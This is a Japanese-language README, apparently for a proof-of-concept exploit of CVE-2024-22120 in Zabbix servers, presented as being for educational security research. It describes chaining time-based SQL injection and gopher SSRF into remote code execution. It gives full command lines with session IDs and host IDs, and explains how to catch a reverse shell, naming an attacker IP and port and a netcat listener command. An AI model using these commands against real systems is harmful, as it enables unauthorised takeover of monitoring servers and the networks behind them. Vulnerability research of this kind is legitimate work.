
CVE-2024-22120の概念実証エクスプロイト。時間ベースのSQLインジェクションとgopherベースのSSRFを活用し、脆弱なZabbixサーバ上でリモートコード実行を達成する、教育目的のセキュリティ研究用です。
python exploit.py --ip <Zabbix_IP> --sid <LowPrivileged_SID> --hostid <HostID> --phpsessid <PHPSESSID> --false_time <FalseTime> --true_time <TrueTime>
IP 192.168.1.100 で稼働している Zabbix サーバーを特定し、以下の詳細を持つ低権限ユーザーにアクセスできる状況を想定します。
sid): d82bf6715e1d3c1f25hostid): 10107phpsessid): a4g7f48d9j3r7h8s9gこのスクリプトを使用して RCE 脆弱性を悪用します。
python exploit.py --ip 192.168.1.100 --sid d82bf6715e1d3c1f25 --hostid 10107 --phpsessid a4g7f48d9j3r7h8s9g --false_time 1 --true_time 3
--ip 192.168.1.100: Zabbix サーバーの IP アドレス。--sid d82bf6715e1d3c1f25: 低権限ユーザーのセッション ID。--hostid 10107: 低権限ユーザーがアクセスできるホストの ID。--phpsessid a4g7f48d9j3r7h8s9g: リクエストの認証に使用される PHP セッション ID。--false_time 1: SQL インジェクション中に誤った推測の場合にスリープする秒数(デフォルトは 1 秒)。--true_time 3: SQL インジェクション中に正しい推測の場合にスリープする秒数(デフォルトは 3 秒)。10.0.46.27:5555)であなたのマシンに接続します。リバースシェルを受け取るために、指定されたポート(スクリプト内では 5555)であなたのマシンが待ち受け状態になっていることを確認してください。netcat を使用できます:
nc -lvnp 5555
リバースシェルを受け取るために、CreateScript 関数内の IP 10.0.46.27 とポート 5555 をあなた自身の IP と希望するポートに置き換えてください。